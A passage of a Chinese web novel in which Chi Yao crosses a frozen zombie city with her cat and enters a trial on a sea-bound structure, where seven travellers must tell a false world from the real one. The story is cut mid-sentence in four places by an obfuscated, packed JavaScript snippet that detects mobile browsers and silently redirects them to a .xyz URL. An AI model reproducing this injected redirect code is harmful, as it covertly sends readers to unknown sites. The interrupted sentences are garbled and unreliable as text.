“我很小的时候,和我妈一起坐在江边的长椅上,江上有那种亮彩灯的快艇,很漂亮,穿过江面的时候,像流星划过夜空一样,非常绚丽。” “当时特别贵,大家都坐不起,我也想坐,我妈说等我长大就带我去。” 说到这里,她沉默了。 郑承等了半晌,也没有等到后话,只能主动开口问她。 “后来呢?” 后来...... 池遥眼前再度浮现起最后一次回到家时的景象。 “直到现在,我也没坐过快艇。” 她只能这么说。 郑承听出了她的言外之意,一时也不知道该说什么。 两人之间再度陷入长久的沉默。 直到池遥搭着栏杆的手失去了感知,她才变换了姿势,缓缓活动着冻僵了的手。 “气温回升了,外面也没什么丧尸,我该走了。” “什么时候?”郑承问她。 “明天一早吧。” 这一次,断断不能再拖延了。 回去后,池遥再次整理起了自己的物品,这段时间,池遥把所有囤积的生活用品都充了公,只给自己剩了一瓶封皮上除了shampoo这个单词以外全是泡菜语的洗发水,在临出发前的最后一天,她带着这瓶洗发水去了公共浴池,第一次使用。 出乎意料的是,这瓶洗发水香味十分浓重,还是奶糖味的,洗完澡池遥觉得她自己仿佛被丢进劣质香精里似的,浑身上下到处都散发着浓浓的甜味,很不适应。 她浑身带着奶糖味走出浴室,做贼心虚地用毛巾包裹住头发,这一路感觉头发上的味道飘进了各个房间。 “池遥!”周文博远远的就看到了她,凑近后忍不住捂鼻子,“我去……你这是要给自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425525|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己腌入味去喂丧尸吗?” 这句话立刻让池遥共情了每天都被他气得跳脚的吴心语的感受,忍不住就要去打他,结果周文博捂着鼻子连连后退,顺势躲开了池遥的手。 伤害性不大,侮辱性极强。 幸好洗发水的香味只存在了一天,第二天天蒙蒙亮,池遥离开避难所时,头发上的气味已经变淡了。 尽管雪已经停了很久,但连下一个月的大雪压实了路面,所见之处皆是白茫茫一片,脚踩在雪地上时,往往要下陷好几厘米才能踩实,大大减缓了前进速度。 即便气温有所回升,一到了室外,仍旧觉得浑身的温度都被空气抽离,无论穿得多保暖,一旦到了室外,不出几分钟外套就会被寒风打透。 池遥原本将所有装备都装进了吊坠内,轻装上阵,走了几分钟,从吊坠中找出一个背包,装了些随身物品,背在了背上。虽然重量增加了,但的确感觉起了些御寒的作用。 比起她前去卓越新区的那段路程,现在的温度也只比当时低了几度,但池遥却能感觉到明显的区别。 她不由地紧了紧衣领,将羽绒服帽子的松紧带再次拉紧了几分。 这样冷的天气,不知道去了香林山之后又会遭遇什么。 想到这里,就不由地拧紧了眉头, 在临行前,池遥将绒绒托付给了吴心语,绒绒当时表现得十分抗拒,但还是拗不过池遥的决定。 为了避免离别的场面,池遥和大家说好两天后离开,除了郑承,没人知道她真正的离开时间。 乖巧又漂亮的小猫并未陪伴她多久,但此时独自一人出发,池遥竟然感受到了些微的不适应。 一上午,行路与休息的时间五五分,才勉强走了五分之一的路程。 池遥坐在一个避风的店里,再次对照着地图确认了之后的路途,等身体彻底温暖起来,才再次出发。 在如此寒冷的气温之下,街边不少店铺的大门已经彻底结冰,池遥一边赶路,一边注意路边的建筑,提前物色晚上休息的场所。 一路上,池遥在室内也遇到过几次尚未休眠的丧尸,这些丧尸运气好,碰巧处在温度没那么低的室内,只不过由于持续的低温,行动也迟缓了不少,池遥不费吹灰之力就将其消灭了。 到了午后,阳光变得强烈了些,有了阳光照在身上,还能勉强感觉到些许暖意,池遥加快了赶路速度。 只是,不知为何,她总觉得身后有窸窸窣窣的声音。 然而,她好几次回头,都没看到人影,连只活物的影子都没看到。 又走了一段路,池遥在路口转身的间隙,余光瞥到了一团白色的影子。 这团白影只出现了几秒,身形与满地的雪融为一体,只不过它更加干净,一尘不染,看起来熟悉极了。 池遥立刻认出了它的身份。 “绒绒。” 她叫出了对方的名字。 “是你吗?” 她的声音响彻在空无一人的街道上,过了十几秒,也没有任何动静。 刚刚看到的一切仿佛是她的幻觉。 池遥没动,停在原地,继续等待。 没过一会儿,前方出现了一个熟悉的白影。 绒绒不知道从哪儿窜了出来,跳进她怀里,讨好地冲她喵喵叫。 “好了,我知道了。” 池遥抱住小猫,发现它一贯温暖的身躯也冻得发抖,打开外套拉链将它塞进衣服里,语气柔和了些。 “我们一起去景点吧。” 59. 虚假与真实1 四天后。 远远的,池遥终于看到了香林山景区的标志牌。 作为一个收费景区,香林山只有唯一一个入口,就是山脚下的验票楼。 而此时,在池遥的视线里,远处的小楼浑身笼罩着淡淡的光晕,极为突兀,仿佛独立于她所处的空间之外。 殷蘅说过,被末日影响的小世界内会产生被称为“景点”的独立空间。只有能力者才有进入景点的资格。只要能够活着通过景点,就可以穿越到其他小世界内。 看来,香林山的“景点”就是这个验票楼了。 离得越近,越能看出这栋楼与周围不同,在一片白茫茫的景色之中,只有这座小楼周围泛着淡淡的彩色光晕。 往日香林山对外开放时,验票楼大门从不曾关闭,只有冬季最冷的时候才会关得严严实实。 池遥深吸一口气,走上前,打开了大门。 “欢迎光临香林山景点!” 一打开门,就传来了一个清脆的声音,一个比她矮了一头,看不透性别的孩子朝着她迎了过来。 验票大厅内灯火辉煌,十分温暖,深处的长椅上坐着几个人,温馨得好似末日降临之前的景象。 “我是景点的负责人。请问您是来打卡景点的吗?我们十分欢迎噢!” 这场面和池遥想象得截然不同,面对这个奇怪的孩子,她忍不住后退了一步,似乎感应到了她的犹豫,绒绒从她衣领中探出了一个小脑袋。 “现在正有一队旅者准备进入景点呢,算上您正好满足最低人数。”孩子笑吟吟地指了指远处长椅上的几人,“如果你们愿意加入的话,立刻就可以进入景点,开始打卡之旅了!” 池遥藏在袖子里的手轻微发抖,她深吸了一口气,冲负责人点了点头。 “那么请朝这边走。” 孩子蹦蹦跳跳地领着池遥走向长椅区,在温暖的室内待了半天,池遥将羽绒服解开,小猫顺势跳到了她的肩上。 见出现了新的人,长椅上的人们纷纷朝着池遥看去,而池遥一眼看到了一个相当熟悉的面容。 许赫! 他怎么在这里? 许赫和另一个穿着黑色罩袍,看不到脸的人并肩坐在最后一排长椅上,黑衣人占据了长椅大部分面积,而许赫的坐姿和神色都显得有几分讨好的架势。 如果是许赫独自一人坐在这里,池遥会考虑要不要和对方打个招呼,但此时,眼神一对上,许赫就有几分窘迫地移开目光,与池遥相遇对他而言似乎并不是件好事。 她便也装作不熟,风轻云淡地移开视线,继续打量起他人。 坐在最前方的是一个看上去和蔓蔓年纪差不多的女孩,身边坐着一个看起来三十岁左右的成年女人,两人的五官有几分相似,但若说是母女,似乎也有些牵强。 除了他们之外,还有一个打扮得格外商务的中年男人与一位看起来和池遥年纪相仿的青年,这两人各自占据一条长椅。 负责人将池遥引领到长椅区前就停下了脚步,一言不发,笑眯眯地看着池遥,似乎是在等她入座。 剩下的空位不多,池遥抱着猫,坐在了青年身边。 “好啦,辛苦各位等待,我们现在人满可以进入景点啦。”负责人脸上一直带着热情的笑意,“鉴于你们当中的绝大多数都是第一次进入景点的新手旅人,我来为大家详细介绍一下景点。” “如大家所见,景点是一个相对独立的空间,大家可以理解为一道谜题,一个挑战,每一个景点内的一切都由负责人管理。但无论是什么,只要通过景点的考验,就能获得去往下一个世界的印章。” “每一个世界中都存在各种各样的景点,每个景点只通往固定一个世界。” “而此时,各位所在的就是前往丧尸围城世界的香林山景点。” 池遥垂着眸,看似漫不经心地逗怀里的小猫玩,实际上恨不得将听到的内容记下来。 身旁的旅人们神色各异,看起来似乎都没认真听,每个人都不想被其他人看作是新手。 只是,下一个世界叫做丧尸围城? 又一个丧尸世界? 曲卓为什么要去那里? 池遥一边为下一个世界还有熟悉的丧尸暗暗松了一口气,一边又因为想不通曲卓的目的而焦躁。 她根本想不到曲卓为什么要去到其他世界? 难道她也想找到传说中的伊甸吗? 还是因为,曲卓身边的那个男人? 思绪拧成一团乱麻。 “因为室外温度太低,所以我们就不在香林山内进行打卡了。大家请闭上眼睛,随意想象,大家此时最想去什么地方旅行呢?” 随着负责人的话音响起,在座所有人仿佛被一种神秘的力量影响,全部不由自主地闭上了眼睛,包括趴在池遥腿上的绒绒。 池遥并未刻意调动思绪,但脑海中已经浮现出了她最想去的地方。 幽静的博物馆内,她坐在长椅上,不远处一个熟悉的身影背对着她,正在聚精会神地看着面前的展品介绍。 是末日降临前一天,她和曲卓一起逛博物馆的景象。 “好了,各位请睁眼。” 负责人的声音将她的意识拉回现实,池遥睁开眼睛,却忽然愣住了。 此时,周围的环境彻底变了,刚才的检票大厅消失不见,取而代之的则是一个面积不大,却略显空荡的房间。 本应与她一同进入景点的几个人并不在房间里,她环视一圈,只看到了同样茫然的绒绒。 “这里是经过提炼夏日,大海,度假三个词汇,为旅人们量身定做的景点。”负责人的声音再次响起,声音仿佛无处不在,无法辨别方位。 池遥一边听着负责人的声音,眼尖地看到在房间的大门上挂着一张指南。 “这里是虚假与现实完全对立的世界,分为两重世界,虚假世界与现实世界。两个世界完全相同,虚假的世界中会有和你们完全相同的‘影子’复刻你们的一举一动。你们会无意中陷入虚假世界,也会在不知不觉中从虚假返回现实。” “各位在景点中打卡的时间总共七天,每一天结束时,需要告知我你所在的究竟是哪一个世界。只要连续七天回答正确,就算成功通过。只要有一天回答错误,那么在七天结束后,就会被你们的‘影子’吞噬。” “当然,成功通关的解法并不只有一种。如果你们可以在七天内破除这个世界,同样算作通关。” “那么,祝你好运。” 耳边恢复一片沉寂,池遥等待了一会儿,确定没有声音后,才看向手中的指南。 “海上行动指南。” 她轻声念出标题,听到她的声音,绒绒立刻跳进她的怀里,和她一起看起了指南内容。 1.早睡早起身体好,请在每晚十点之前准时上床休息。 2.请勿脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430282|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下基础衣物,如果擅自脱掉后果自负。 3.洗手间会在每晚十点到第二天早上六点期间关闭,请提前解决个人卫生问题。 4.甲板在每天下午七点到第二天早五点期间禁止进入。 指南内容并不多,池遥几秒看完后,将指南挂回原位,把猫放回地上,开始打量自己此时所处的房间。 大门正上方的钟表显示此时的时间为中午十二点整。在她面前,一架单人床床头靠墙摆放,床头柜旁是一个小房子形状的猫窝。单人床对面,是一个直通天花板的衣柜。 池遥此时身处的房间形状并不规则,似乎是一个不标准的扇形,房间的墙面,地板和天花板都是金属构造,只有大门对面的墙壁上镶嵌着一个圆形的玻璃窗,窗户面积很大,外面的天气似乎起了雾,什么也看不到。 池遥围绕着玻璃窗找了找,发现这扇窗只是一片玻璃,无法打开,又用手锤了锤玻璃,感受到玻璃随着她的动作震颤了一阵,玻璃的材质比较劣质。 必要的时候,这片玻璃是能够被打碎的。 她在心中得出这个结论,随后依次去检查家具。 与不牢固的玻璃不同,房间内家具的质量反而都不错,不仅如此,当池遥试图挪动床头柜时,发现所有家具都被牢牢固定在地面之上。 好奇怪。 这和普通的房间大相径庭,想到负责人提过的三个关键词,与指南上提到的内容,又看看周围的构造,以及无法打开的窗户。 或许这是一艘船上的一个小房间。 池遥在心里做出猜测,同时,还发现了另一件事。 她所在的房间内并不包含卫生间。 没有卫生间,就代表没有镜子,池遥只好低下头,简单打量了一下自己。 此时,她褪下了厚重的御寒装备,浑身上下只剩下一件运动背心和贴身短裤,空间吊坠还好好的戴在脖颈上,手腕上戴着一枚圆环,圆环表面显示此时的时间,数字下还有三个小字:第一天。 看来基础衣物指的就是她身上的这些衣物了,对于池遥而言,这实在是有点太少了,指南上只说了不能脱掉,却没说不能添衣,她打开衣柜,发现衣柜的柜门内部正是两片全身镜,衣柜内挂着十套不同的服饰,池遥选了一套泛白的牛仔套装换上,又依次打开衣柜内的抽屉,惊喜地发现抽屉里还有将近十套宠物猫的衣服。 “绒绒!” 她忍不住把小猫唤来,给它套上一套嫩粉色带蕾丝的小裙子,过程并不容易,绒绒起初拼命挣扎,在发现自己拗不过池遥后就彻底任由池遥摆弄了。 在为绒绒换衣服时,池遥发现小猫的脖子上系着一条红绳,她的手一碰到这条红绳,就遭到了小猫的疯狂反抗,她立刻反应过来,这条红绳就是绒绒的“基础衣物”。 既然能跟随着她一同进入景点内部,绒绒的身份已经无需质疑,定然是一位能力者,也和进入景点的池遥一样,是一位旅人。即便它此时还是宠物猫的形态,但仍旧需要遵守景点内的规矩。 与绒绒相处了这么久,池遥对它的身份最初抱有警惕,但绒绒十分遵守猫德,池遥时不时也会真的将它当成自己的宠物猫看待,此时即便知道了它的真实身份为能力者,看惯了这只猫撒娇卖萌的样子,对它没有丝毫期待。 套上新裙子后,新裙子的衣领巧妙地将小猫脖颈上的红绳遮挡起来,池遥单手抱起小猫,打开房门,走了出去。 60. 虚假与真实2 走出房间,是一个圆形的大厅,大厅内坐着寥寥几人,都换上了不同的衣服。 池遥围着大厅内走了一圈,大致搞清楚了她所在的区域的构造。 此时她所处的楼层平面形状是一个标准的圆形,从上往下看,大厅处在圆心的位置,是一个偏小一点的圆形,而大厅外部的圆环部分则被等分成八个面积相仿的扇形,大概就是每个人的房间。在每间房间的连接处,各有一根直通大厅顶部的柱子,柱子紧贴着墙,共有七根。从下往上看去,大厅的圆形墙壁逐渐向内收,形成一个流畅的尖顶。 每个人房间的大门外漆颜色各不相同,由此来分辨每个人的房间。池遥注意到自己的房门从外看去是紫色的。 算上绒绒,此时景点内的能力者共八位,但由于绒绒是宠物猫的形态,和池遥住在一个房间,因此供大家居住的房间只有七间,而剩下的一间房则是公用的洗手间,洗手间面积比起大家的房间要略小一些,因为洗手间旁分出了一条前往外部的通道,透过紧闭的玻璃门,隐约能分辨出甲板的形状,但由于外面的雾气太重,也看不真切。 大厅正中心是一根直通顶部的立柱,旁边是一个环形长桌,桌上是一个面积巨大的纸箱。围绕着桌子摆放着两张长沙发,桌子两侧则零零散散摆放着几张椅子, 此时,一侧沙发上坐着之前见过的女人和少女,离她们稍远的椅子上,坐着与池遥同一个长椅的青年,占据了长桌的一角。 一条长沙发上最多能坐下四人,池遥打量了一番,走到一旁一个空置的椅子前,一把将椅子拎了起来,放到青年不远处,在放椅子的时候,不慎磕碰到桌子,桌子被她的力道影响,向前挪了几厘米。 看来大厅里的家具反而没有被固定。 池遥造成的动静过大,大厅里的三个人纷纷看向她,池遥依次看过去,犹豫半晌,开口问道。 “大厅里就你们三位吗?其他人都在哪里?” 联想到自己的经历,其他人大概率也是在各自的房间刚醒来不久,负责人对每个人说的话应该也是一样的。 “我也是刚到大厅。”青年摊开手,神情无辜。 “还有两个人从那边的门出去了。”女人指了指洗手间旁边的通道,“一个一身黑,看不清脸,另一个......”她似乎在回忆对方的特征,“挺年轻的。” 池遥立刻明白了,她说的是许赫二人。 看来现在只剩下那位中年人还在房间里了。 “看不清脸?”身旁的青年问道。 “他穿着一件斗篷,几乎把脸全部遮住了。”女人回答。 这就很可疑了,刚见面时还可以解释为是为了御寒挡住脸,而在此时,如此舒适的温度之下,这位能力者仍然挡住了脸。 “或许是羞于见人吧。”青年笑了笑,转移话题,“你们都听到负责人刚才说的话了吧?我们好像还得在这里待七天。” 话音刚落,池遥就看到自己正对面的褐色房门打开,中年人从房中走了出来。 与此同时,通往甲板的大门也从外部打开,许赫二人走了回来。坐在女人对面的沙发上。 这下,所有的能力者全部到齐了。 “正好大家都在,还要一起过七天时间,各自做个自我介绍吧。”中年男人很自然地坐在了长桌的另一侧,主座的位置上,说出的话语掷地有声。 池遥看看身旁的几人,没有一个人主动开口,沉默了几秒,中年男人再次开口。 “我先自我介绍一下,我叫常东,在座的各位都是天赋者吧,也知道天赋能力的重要性,我就不交代自己的能力了。” 此话一出,很快就有人接上。 “我叫张凝。”女人开口,随后指指身旁的女孩,“这是我侄女张毓。” “我是池遥。”池遥紧随其后报了名字,她的视线停在许赫的身上,她发现许赫自从坐下后,搭在桌上的手指就在有规律地轻点桌面。 “我叫齐航。”青年开口。 “我叫许赫,他叫陈佑。”许赫开口,他说话时,手指的动作也跟着停下,介绍完自己又说了身边人的名字,顿了一下,似乎察觉到其他人的视线,又补了一句,“他性格有点怪,但人还不错。” 池遥在心中记下每个人的名字。 “这个箱子里面是什么东西?”常东问道。 他似乎习惯了对被人发号施令,但此时七人中正好需要一个主心骨。 “你们拆一下吧。” 可惜,他看起来只会指使别人做事。 许赫站起身,打开箱子,齐航也帮助他一同把纸箱内的物品一样样拿出来。 两大箱五百毫升的饮用水,共四十八瓶。一箱十四桶的桶装方便面,一箱十四盒的速食土豆泥。 纸箱体积虽大,但大部分都是饮用水,只有两箱食物,看起来数量不少,但若是均分成七份,完全不能支撑一个人度过七天时间。 看到这些食物,在场的几人脸色均是一沉。 “我们先把这些食物平均分配一下吧,然后大家把自己份的食物放回各自房间里。”这一次,是齐航开了口,他的建议恰当合理,在场没人拒绝。众人立刻拆开了箱子,饮用水若是每人七瓶的话注定有一个人要少一瓶,许赫主动让出了自己的份额。 分完食物后,装食物的纸箱也平均分给了每一伙人,池遥将自己的食物装进分到的纸箱里,抱回自己的房间,房门没有锁,她将纸箱内的食物转移到了吊坠中,空箱封好放进衣柜。 借着这个机会,池遥也瞥了几眼其他人的房间,所有人的房间构造大致相同,家具也一模一样,只有池遥的房间里多了一个猫窝。 洗手间的构造也十分简约,只有两个洗手台和两个不同性别的隔间,所有设施都被牢牢固定住,连垃圾桶都无法移动。 池遥从洗手间回到大厅时,看到几个人聚在洗手间旁的通道门前,似乎是要一起去甲板上看看。 齐航离她最近,见到她之后小声问:“你去哪儿了?” 池遥指指一旁的洗手间。 “我也得去一趟。”齐航一拍脑门,急匆匆地进了洗手间。 前面的人打开了通往甲板的玻璃门,六人一个接一个地登上甲板。 海上起了浓雾,能见度变得很低,难以观察周围的环境。 在门外,金属质地的甲板围绕每个房间的外墙环绕一圈,仿佛在每个房间外搭建了一段延展平台后连接在了一起,甲板边缘的围栏十分低矮,池遥个子不高,这围栏还不到池遥的腰间,她不会游泳,只贴着靠墙的一面走。 在甲板外,是汹涌的海水,海平面只比甲板低几厘米,稍微泛起浪花就会波及甲板。 “有人擅长游泳吗?”常东开口问道,“咱们得找几个人看看水下有什么。” “我可以潜下去看看。”许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440762|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赫主动回应,走到一边,做起了下水的准备。 “还有其他人吗?” “我不会游泳。”感受到常东的目光落在自己身上,池遥主动说道。 北城作为北部内陆地区,只有一条江流,大部分本地人都没有掌握游泳这项技能。 张毓后退一步,半个身子躲到了小姨后面。 陈佑仍旧一言不发,但他身形高大,尽管看不到五官却仍旧能隐隐感觉到气势不好接近,常东就略过了他,看向了张凝。 “你会游泳吗?” “挨个点名干什么?”张凝瞪了他一眼,“你自己不会游泳吗?” “游泳我肯定是会的,但会和擅长是两码事,这种事肯定还是要擅长的人出马更好。” 二人争吵了起来。 池遥注意到另一边,许赫脱掉外裤和外套,里面是一件贴身背心和短裤,看来所有人的基础衣物都差不多。他把衣物和鞋子放好,扶着甲板低矮的围栏跳进水中。 下水后,他深吸一口气,扎进水中,池遥屏息盯着水面,好一会儿,他才探出头来。 “水下有蹊跷。”他只说了这一句话,就爬上岸。 一旁的张毓将外套递给他,示意让他擦一下,后者摆摆头,甩了甩湿透的短发,直接披上了外套。 “我们现在并不在船上。”他组织了一下语言,开口道,“这应该是一个,建在海面上的,建筑。” “它不是浮在海面上的,而是由建在海下的一根立柱支撑起来的。” 他一边说,一边用手指比划起来,“应该是和大厅正中间的柱子是一体的。” “立柱有多深,是从海底建起来的吗?”常东问。 “海底不知道有多深,我只是简单看了一眼,不敢贸然下潜。”许赫摇摇头。 “这很重要。”常东蹙起眉头,“我们得搞清楚现在究竟是什么情况。小许兄弟,拜托你,你能不能再下潜一次,这次下潜深一点。” 许赫没说话,只是微微蹙起眉头。 “你要是想看的话直接自己下去不就得了,何必麻烦别人。” 张凝在一旁冷笑一声。 下一秒,她一脚踹在男人小腿上,常东本就站在甲板边缘,被她直接踹下了海,在海水中扑腾几下,狼狈地爬了上来。 他浑身都湿透了,爬上来之后一言不发,快速脱掉身上的衣物,脱得只剩基础衣物,然而,身上的背心也不可避免地湿透了,他没想那么多,干脆利落地脱掉了背心。 “等等!” 刚赶到甲板的齐航就看到了这一幕,立刻想到了指南的内容,他喊出这句话的同时,常东也意识到了不对劲,盯着手上的背心,愣住了。 一时间,无人开口,全部都愣愣地盯着常东。 突然之间,常东脱掉的湿衣服,他手里的背心,身上的所有衣物全部消失无踪。 张凝倒吸一口气,立刻捂住了侄女的眼睛。 池遥也立刻捂住了眼睛,从指缝里继续观察情况。 “我的天......”齐航感叹一声,迅速脱下自己的外套,递到常东面前。 然而,当常东抬起手,碰到齐航手里的外套时,齐航手中的外套也消失不见。 ——指南第四条,请勿脱下基础衣物,如果擅自脱掉后果自负。 一旦脱掉了基础衣物,将会失去所有衣物,再也无法穿戴上任何服饰。 61. 虚假与真实3 常东回了房间,之后再也没出来过。 临近黄昏,海上的雾气消散了些许,但天色暗下来之后,依旧看不清周围的情况。 池遥独自站在甲板上,此时已经六点了,七点钟甲板就会关闭,其他人都在大厅或各自的房间里。 听到玻璃门被打开的声音,池遥立刻回头,正好看到齐航打开门,走了过来。 “我听许哥说水下有一根立柱,还想看得再仔细一点,就过来了。”看到池遥的身影,他愣了一下,随后解释道。 “你会游泳?”听到他的话,池遥还在回忆他当时为什么不随着许赫一同下水,才想到他那时候似乎没和其他人在一起。 “小时候在校队训练过一段时间。”齐航一边说,一边脱去外套,很自然地做好下水准备。 池遥主动接过了他的外套,退后几步,让出了位置。 “现在雾没有中午的时候那么浓了,你或许能看得更清楚些。” “但天色也暗了,也有可能什么都看不到。” 齐航抬头看了一眼天空,此时正处于晨昏的交界时间,他说完这话,纵身跃入海里,动作优美熟练。 当他入水时,脖颈上的吊坠在半空中划过一道流畅的弧线。 他的脖子上,戴着与池遥脖颈上一模一样的吊坠。 为了掩饰自己的吊坠,池遥一直将外套扣子扣到最上一颗。然而,在大厅遇到其他人的时候,她有心观察了其他人的穿着,二十几度的天气,无论穿短袖和长袖都不违和,但大家都一致穿上了外套,算上她自己,至少有三人都用外套遮挡住了脖颈处,齐航就是其中之一。 很快,齐航的脑袋再次探出水面,但他却并没有立刻回到甲板上,而是朝远处又游了将近一百米,回过身,远远望着他们所在的建筑的全景。 接下来,他再次潜入水中,过了一分多钟再次探出头,朝着甲板方向游了回来。 等他终于回到甲板上,已经到了下午六点四十五分,甲板还有十五分钟关闭,齐航套上衣服,示意池遥跟着他走。 二人回到大厅,大厅里只有张凝和张毓两人,许赫两人神出鬼没,至于常东,估计他会在自己房间里待七天吧。 “你介意去我的房间吗?”齐航问池遥,神情坦然,“或者去你的房间也可以。” 池遥本想说不介意,转念一想,她去甲板上时,把绒绒留在了房间里,是担心有人进她的房间,留绒绒守着。 “去我房间吧。”她主动邀请。 二人一前一后,进了池遥房间,回房间前池遥去沙发区顺了一把凳子。 一回房间,蜷缩在小窝里的绒绒立刻扑进了她的怀里,池遥习以为常地把小猫揣在怀里,坐到床边,没解释绒绒的来意。 在候车大厅里初见时,她怀里就抱着绒绒,中午自我介绍时小猫也一直在她身边,她始终没开口解释自己的猫是怎么一回事,其他人想必各有各的理解。 齐航也只是抬头看了一眼小猫,就平静地移开目光,他将椅子拉到池遥对面,坐了下来,不知是否有意,他坐下后,和池遥的距离离得很近,二人的膝盖近乎相触。坐下后,他看了池遥一眼,抬手自然地从吊坠中拿出了一个硬质素描本和两支铅笔。 果然,他脖子上的吊坠也是个空间吊坠。 “我刚才仔细观察了咱们所在的建筑,我觉得画给你看更合适。” 想法是很好的,只不过池遥想到齐航刚才的话,犹豫着多问了一句。 “那你画画......” “画画不是专业的,但总归还是能看的!” 齐航的语气很明朗。 紧接着,池遥就看他拿着笔,憋了半天,在纸上画了一个等边三角形。 “这是?” 她好奇地发问。 “这就是我们现在所在的建筑。” 齐航原本自信满满的表情在经历了池遥的问题后显得有点勉强,挽尊道。 “嗯......就是,这就是我离远后在海上看到的样子,这是一个截面,侧截面,你明白我什么意思吧?” 池遥试图理解。 从侧面看上去,这是一个三角形的建筑。 而在她先前的总结中,建筑内的面积是一个规整的圆形。 于是,她从自己的吊坠中拿出一沓便利贴,画出一个圆锥的透视图,锥尖朝上。 “所以,这个建筑其实应该是这样的?”画完后,她将自己的杰作给齐航看,对方点了点头。 “我还没画完,这只是第一步。”说着,齐航在三角形的正下方画出一条竖线,池遥这一次对上了他的脑回路,知道他画的是建筑底下的立柱。 于是,她在自己的圆锥下也加了一道竖线,又反复涂画好几笔,这条竖线显得更有分量了。 “你看,这么看上去像什么?” 齐航将他的简笔画摊平,期待地看向池遥。 池遥似乎能懂他的言外之意,脑海中隐隐浮现出一个熟悉的轮廓,可是却始终抓不住。 她沉默了一会儿,实在不好意思和满眼期待的齐航对视,索性按照自己的记忆,进一步丰富自己的画作。 建筑底部的立柱就在建筑的正中间,而大厅中间同样有一根通到顶部的立柱,应该是同一条柱子。 池遥将圆锥下方的竖线进一步延长,与锥尖连接在一起,在齐航的简笔画上画了同样的线条。 一个等边三角形,最顶部的顶点延伸下来一条中线,穿透整个三角形,一直延伸出来。 “像雨伞。” 池遥终于明白了齐航的意思。 然而,这一发现似乎并没有什么实质性的意义。 池遥和齐航在房间里讨论了很久,然而,最终还是只得出了一个建筑形状像雨伞的结论,到了九点,大家都开始做起了入睡的准备,两人再次分开。 池遥把从客厅拿回来的椅子归还回去,洗漱结束后,回到自己的房间。 距离十点还有十五分钟,她关上灯,看着绒绒回到了猫窝里,自己也躺在床上。 很快,就陷入了梦乡。 梦里,负责人的身影再一次浮现,孩童纯粹的目光盯着她的眼睛,发出疑问。 “旅人,此时你所处的,是哪一个世界?” 池遥并不知道。 这一整天的观察就是为了搞明白这件事,可是她却完全没有世界转换的感觉。 “还剩五秒倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444414|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计时,五,四,三......” “现实世界。” 二选一,百分之五十的几率,池遥随便说了一个。 四个字说完,负责人的身影再度消失,意识再度陷入沉眠。 第二天。 醒来时,头痛欲裂,昏昏沉沉。 池遥看了一眼表,此时已经是早上九点了,她睡了九个多小时,但精神状态差极了。 她从床上慢吞吞地坐起来,才发现身上的每个关节都闷闷地疼,检查一番后,发现自己的手肘,膝盖等关节处都泛着淡淡的青色。 伤成这样,自己是睡梦中打了一套拳吗? 百思不得其解,池遥索性不再想这个问题,伸脚在床尾的地上找昨晚脱下的鞋子,却没找到鞋,反而踩了一脚的水。 什么情况? 昏昏沉沉的意识立刻清醒,池遥定睛一看,才发现房间的地上已经积攒了薄薄一层水洼,不知何时,窗外的海平面已经上涨到和房间内的圆窗平齐,玻璃并不牢靠,每次外面的海浪打在玻璃上时,也会有水流进房间里。 绒绒早就醒了,此时正蜷缩在她的枕头边上。 至于池遥的鞋子,她明明记得自己昨晚就把鞋子放在了床尾的地面上,但此时鞋子不知怎的,滚到了门边。 没办法,池遥只能踩着水,先去衣柜里随便找了一套材质吸水性好的衣服,把整个窗户围挡起来,防止漏更多的水,然后再到门口,穿好鞋子。 回想昨晚的景象,昨天是自己在景点中度过的第一天,她每晚神经紧张,很难睡好觉,本以为肯定会整夜无眠,然而在房间内睁着眼睛熬了十几分钟后,却变得极为困倦。 这种困意来势汹汹,在末日降临后,池遥从来没体验过如此奇怪的感觉。 房间中的指南里写道:十点前必须上床休息。 难道自己的困意是景点的影响吗? 还是房间里有催眠,或者促进睡眠的装置? “绒绒。”自己一个人想不通,池遥立刻叫了小猫的名字,“你是几点醒来的?八点多?是的话叫一声,不是叫两声。” “喵!” “你是几点入睡的,是一到十点就睡了吗?” “喵!” 